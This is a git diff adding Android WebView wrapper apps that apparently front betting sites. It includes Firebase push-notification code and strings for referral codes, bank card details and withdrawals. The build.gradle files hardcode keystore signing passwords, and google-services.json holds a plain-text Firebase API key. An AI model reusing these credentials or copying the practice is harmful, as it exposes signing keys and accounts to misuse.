需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/values/themes.xml b/royalbet63/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/royalbet63/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/xml/app_updater_paths.xml b/royalbet63/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/royalbet63/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/xml/network_security_config.xml b/royalbet63/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/royalbet63/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/royalbet63/src/main/res/xml/provider_paths.xml b/royalbet63/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/royalbet63/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/royalbet63/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/royalbet63/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/royalbet63/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/rtf88/.gitignore b/rtf88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/rtf88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/rtf88/build.gradle b/rtf88/build.gradle new file mode 100644 index 0000000..8562b05 --- /dev/null +++ b/rtf88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.rtf88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "rtf88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/rtf88/dskjweb.jks b/rtf88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/rtf88/dskjweb.jks differ diff --git a/rtf88/google-services.json b/rtf88/google-services.json new file mode 100644 index 0000000..6e47b0c --- /dev/null +++ b/rtf88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "186904870438", + "project_id": "rtf88-e60f5", + "storage_bucket": "rtf88-e60f5.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:186904870438:android:2fc4c9d3c72b6792d7f0e7", + "android_client_info": { + "package_name": "com.web.rtf88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB552c5kSuMslaSn98ACdnhTU0Bd7EbfNk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/rtf88/ppn.jks b/rtf88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/rtf88/ppn.jks differ diff --git a/rtf88/proguard-rules.pro b/rtf88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/rtf88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/rtf88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/rtf88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/rtf88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/rtf88/src/main/AndroidManifest.xml b/rtf88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..206139d --- /dev/null +++ b/rtf88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/java/com/web/rtf88/MainActivity.java b/rtf88/src/main/java/com/web/rtf88/MainActivity.java new file mode 100644 index 0000000..dcdf7ea --- /dev/null +++ b/rtf88/src/main/java/com/web/rtf88/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.rtf88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 176; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://rtf88a.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0a5994"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0b5592"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/rtf88/src/main/java/com/web/rtf88/MyFirebaseMessageingService.java b/rtf88/src/main/java/com/web/rtf88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..eaf3b6b --- /dev/null +++ b/rtf88/src/main/java/com/web/rtf88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.rtf88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/rtf88/src/main/java/com/web/rtf88/WebApplication.java b/rtf88/src/main/java/com/web/rtf88/WebApplication.java new file mode 100644 index 0000000..7811598 --- /dev/null +++ b/rtf88/src/main/java/com/web/rtf88/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.rtf88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/rtf88/src/main/res/drawable-anydpi/ic_action_back.xml b/rtf88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/rtf88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/rtf88/src/main/res/drawable-hdpi/ic_action_back.png b/rtf88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/rtf88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/rtf88/src/main/res/drawable-mdpi/ic_action_back.png b/rtf88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/rtf88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/rtf88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/rtf88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/rtf88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable-xhdpi/ic_action_back.png b/rtf88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/rtf88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/rtf88/src/main/res/drawable-xxhdpi/ic_action_back.png b/rtf88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/rtf88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/rtf88/src/main/res/drawable/big_bg.xml b/rtf88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..f27e517 --- /dev/null +++ b/rtf88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/ic_launcher_background.xml b/rtf88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/rtf88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/rtf88/src/main/res/drawable/input_bg.xml b/rtf88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/rtf88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/rtf88/src/main/res/drawable/pass_word_bg.xml b/rtf88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/rtf88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/rtf88/src/main/res/drawable/pass_word_bg1.xml b/rtf88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/rtf88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/pass_word_bg2.xml b/rtf88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/rtf88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/shape_btn_bg.xml b/rtf88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/rtf88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/shape_dialog_bg2.xml b/rtf88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/rtf88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/shape_dialog_bg3.xml b/rtf88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/rtf88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/drawable/shape_dialog_bg_new.xml b/rtf88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/rtf88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rtf88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/mipmap-hdpi/ic_empty.png b/rtf88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/rtf88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/rtf88/src/main/res/mipmap-hdpi/ic_pull_down.png b/rtf88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/rtf88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/rtf88/src/main/res/mipmap-xhdpi/ic_close.png b/rtf88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/rtf88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/rtf88/src/main/res/mipmap-xhdpi/ic_menu.png b/rtf88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/rtf88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/rtf88/src/main/res/mipmap-xxhdpi/app_logo.png b/rtf88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..7424e25 Binary files /dev/null and b/rtf88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/rtf88/src/main/res/mipmap-xxhdpi/app_logo1.jpg b/rtf88/src/main/res/mipmap-xxhdpi/app_logo1.jpg new file mode 100644 index 0000000..0323229 Binary files /dev/null and b/rtf88/src/main/res/mipmap-xxhdpi/app_logo1.jpg differ diff --git a/rtf88/src/main/res/values-en/strings.xml b/rtf88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/rtf88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/rtf88/src/main/res/values-night/themes.xml b/rtf88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/rtf88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/values/colors.xml b/rtf88/src/main/res/values/colors.xml new file mode 100644 index 0000000..b6b2f20 --- /dev/null +++ b/rtf88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0a5994 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/rtf88/src/main/res/values/strings.xml b/rtf88/src/main/res/values/strings.xml new file mode 100644 index 0000000..ef60387 --- /dev/null +++ b/rtf88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + RTF88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/values/themes.xml b/rtf88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/rtf88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/xml/app_updater_paths.xml b/rtf88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/rtf88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/xml/network_security_config.xml b/rtf88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/rtf88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/rtf88/src/main/res/xml/provider_paths.xml b/rtf88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/rtf88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/rtf88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/rtf88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/rtf88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/s9asia/.gitignore b/s9asia/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/s9asia/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/s9asia/build.gradle b/s9asia/build.gradle new file mode 100644 index 0000000..8871438 --- /dev/null +++ b/s9asia/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.s9asia" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "s9asia" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/s9asia/dskjweb.jks b/s9asia/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/s9asia/dskjweb.jks differ diff --git 